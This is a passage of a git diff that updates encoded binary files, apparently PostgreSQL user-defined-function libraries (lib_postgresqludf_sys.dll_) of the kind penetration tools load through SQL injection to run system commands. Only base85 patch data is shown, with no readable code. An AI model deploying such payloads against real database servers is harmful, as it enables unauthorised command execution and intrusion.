z%$&2WZ!17>P>Ih%fbw+cfyk2h5iAwr`4IGPu=aM?*aCpS?Z&+q6)&AzA|D3HC;pNr zdm)=ziIX*z5C@RP1ZT4F2b3ZJ{T*qrqvpHX*W2`wF3+R{;0~_3jzmS7+lMJ83Vzzr z79CHo50}||?9ee^a4@DM!u5J=B z>wX1hJeBP*2Pcr01KmZ|Y1Y9-T5#E)HFCIMajIUZJgaOK5cG3S)Z!{Wd1%AjKGk`C zax4KP6p<|>xk_<2W~COo+q{iWEn@+smX}tC1rn@RT5B%%bbVS~a6um!8X#8N(<@~* zdbbQSnGO65@JqVzJ@SSfAr(%CjO0W!hQ*NBlxJDhE00@D+TfE2d@?_HvIA0~7}x_# zR2CB9OH(4VxCS!NL3=(x&-UvgYJ}5qRXFn;Ss<^&s&D30QuIxqbu}tA(HLJ;(lUJg z_31`WMY)3I<>Aamx#h?b#o0wfguoD(P|p~<+V zq;~!O+MIVt_*L0(NIY5V2ZzP}${es6;_nU?RL!2%#3Btb$Y7}V|6(}C{5&gc;uKiE7`>#j+No~aBn z$V9F|ZTe$k~a?7dGl9uoK3AYh#VaUSEcc19pMczN!( zs^bV0eAvlJ1Klnm-sKsz&gAkRSsl}6C90|{vo?LC{vj)zY&FH3fxN96_T7+jS!PX` zx)qTyx>v*CjG&c`6L5Zu0>rtgm?X!yu>E5@I47FRYz`$%){8NLA@1K9M=sW4xU@oE zx}ch@D82@Vl}ujAb=y6TKB4D8n%ltp46TSEOUxjUQIpBmfF4`Ej{eW?gE_E-UnSTLTxJ3Z*MU zMA0=io|=@#vcw;4jGY6zwx1JzRUhL~$YZY<4d%*%^ieHEdUZ0A%!k`Us`%z%Mpi!K z+CL5Cc}`UoamAPbr$Sm}h9@;|tlvoGKe1l+ki8po$5AfHLnh3TRYfD22FZWLdi>Mq zcYBlBE5cclsU0C+NP=(nP2wyW3LnOrX|T||;N5@zVnVv-ei#}mgwu7H3kJw3SJ8d#W21~zh z7jAzXJ^$3#bNa*Nm^I*Oz4bsv21VBS8njp)E`U3myQDTeadTBwm^VFxjK`bWcRJ|X zz+ik|#D>)bCJk@!Ba~ckIy2cJzSRX5<7;IDs9CA3uB4X7P+*n5J`zd5a7oIo;R1}J ztDq(z#VfPeq5$mEj|$LU16f?oww{vc;Byor__iXr*&Z`zp3!Lfsa&;g zwgPa$`&(F54~Z)$aYSMj_M=eqBw8c?FPQC-+bTFMVh0lRc$utQb5(WOoU@ijtS2%e zOMwB?(2vohHS$x@?#oBWI5PbNWe%I2-_a1s&DPP)K;!nH$Q{R1wW&afGb-UR;)ohA zp>{`~C&iz;8kC%}z4k2ds34>+ltl_l42P5?97dtyp# z`f7#rvT<%t|rVfdf6xG6*-O7jBJUpy9=)C;;Nw4 zaz&7)^^;odg#L^>)>lOEN|~MQ0=`>tl%sxUqj={GwHgsa5h6%$6kJDX&Qa4h6iSaN zA1LTl_|d#LwfmP2cQQ;XX15dz>`RsiFqKy0KZMy5{0Y97U+?4RYILhSb2X8cJ^xRQ zqr0{-!lXZaXJyu4tN1I9_MLtIEIqU!SRYl{QTA0-3M9mD@ZLjqyI1wiCo9@mZDJOO zmiNtJi98&I61zq}>oE~$=X(N|LfksTVqQPQ*d~@IQ(T)Cd|)65lST8sAA~Ch;?~4@ s7s%RdQ6JAosTfTij_1&P1unU}i=`CFC^)Lcj=ZU|FR3A!eK-4JZ|bN`^8f$< diff --git a/data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ b/data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ index 2748ae32c8104275591b2013b57f96ffaab30d4f..8dad9a0ebd52dd53bc071aa48e7df2b0fb2ce443 100644 GIT binary patch literal 4773 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 diff --git a/data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_ b/data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_ index 60c9971218ffd07e74f85f69765fd09180ac8e6c..0b8fd2fea8ee6cdfb929eb7abf492d2b3a1c8ed4 100644 GIT binary patch literal 4231 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 dfHT*Ouup(Tn?vbL?At(#l(7#PK^Z@F6vJ%9iJ literal 4231 zcmV;25P0to?%ob82pXZ+Y5tSg_GV>t`y(ats59VO*M~MF6T_QjPdT4C%0emj$<+P|8rObrCk+j3w z!Tl_<3Nq;uq;4URym+*Ba&tb1U`Y|7MswP`cw{BR0|`+^9$490&31nn5iFrUM=zrv z$?lM^TdnQhC=lHA)~I1~W}cqSKk)`t_c=v|%)%TKnN zHgmB|=6ODEm{KkSjxdbs^rJ2Z&7+GJa-J#0+&JFtHczaW#fw4zEbKB|78^tx0=JIm z3B+sh@Uz!XKQth6gf9i}dF5qHnj#~5xfcvox_Sz}bfJ`V#lgz`*(~x)yL$@3Jy5iO zLKMB^9K)BBsFCo-9GXvYPaX?~;FzOte3j{Smn#gR8dw_zzXq2a%vG{w`e@ihO$s1? z55hSX8Pl|OIyj?Z;Y5V%oaZ0ZbMenKO<`iPHa4ts-$O_Y?=|B_?q-9N(V6O%+-0IkwSe!(#)zkdD_jPyaVM|Y#M3#{`dXM9tVW@Y3Ib>F_vR3 zn9QF?vD$)0X6#o}i^T0mgj$XSnJcxXHP$8X#TZ=}OO!^tKr70a?*wSO!20Ka3h==S zWq6J`Ae{ak{}$5Ud6V(J2E0qes^<9p_9!<`+!O;H2d3Er_cgBRd7rh+dlBYl$m1^O z*OZn=D&Y%Gsl9-S7+}bGixrfcgv`B{A^~)Ct%KGaLB=v%1yMD6uzUe_ahc_gmf1|0 zy2K|a8~xulK-AJ;z0ud)CwU*}?7mHd@Ti@fX(O)L`_Q$dm5|mhv(5;R>V}vMtmg_X zfDl1J)6O-|frq_tMq@N97Sa{#XRNuqI)@8GtM11e46KT41_~pQ5-MqYa1fp`Z&)VH zAxH8+SrxsA3G96e7%1st;8VIBx`=|Fo5(Psw)$;OMM=d+HGbQ75L5tPO0v3}3(Rjq zd;S8mB=b5y(9w5Q#c;0efZzKE*_(jNd60Fd+isi7U;0w&u#EdZL8~c~%fMjBEu;xt zxqh(D4Z(T!1WWhlzxlhs1~5myAF)}CjJdu2J)qfhGo9e$oEfa1VdgrT`1%D z(myi)oC(^`aQfBdGd$m{A!}l1Y=N?S*hs>oa`NIJBqG9$tWA9~-%5S3>=c^QbwHLI zz>IoNnhzqcmH|I8PGN73-=ye%9m?9{Lxc}r3CIyOi)9y@yQ&ISu*=!6N>*oB;Wd{G ze+j9!qQtrnyk6czyA&8Sstl(zo}=wpK4Y$%W?CM6cl`lJ!x{tZS|0nr%}B#NdL1t( zq`LZ}s?u%aPv5J)E2>5`^B$Fsu4Q*$q`mZn{`k`EE^xcoo8yhu~}J1BFPOK+ZM`>UTg z#ZLo`{WqG0wZsc0rP;Nago}fGAwFtk40`tZUy`ZWU%?ylSu)2iFKk>41-XJy%Hccg zXmdd5nUzkRNk56w9nzC9p4FgiA9;m-)yd*bL6~@dic#C*uB>=TFTfhD$ zy-m1$Vtyhm0z?h~T2-)@?^wORCp1&6mq%fF%=g&8;9Zc<2#OxM{qeGVt_~pIk3ELC0TTl`cZEi>$@?De73uke+}zpL5f|@R zuI$zt4z#WP`cZ#i$b_eV*QRUQqsw;UU0X!PpBAGUmh^4N&TO?P85pji8&wJUiDn%Q zc28WH-Ajtb&GyQH_Q3MKVe61~2inCtX@R&%yHrTsTAC#6zuzjLIRMrZ4p$&vCmr@o zwXF*Wk||!aS&z@WjwR?W%M`QfvFlUTVtabB;u5g_3;VMmj#Cu&$N(^~BwF#Ifz|?Z zz~%62aFkW-FL3eC(&2<`0uYl5`2t&bDmCep_gPy6o%Zgf$0O80!M8K7HZj2ZT5#7> 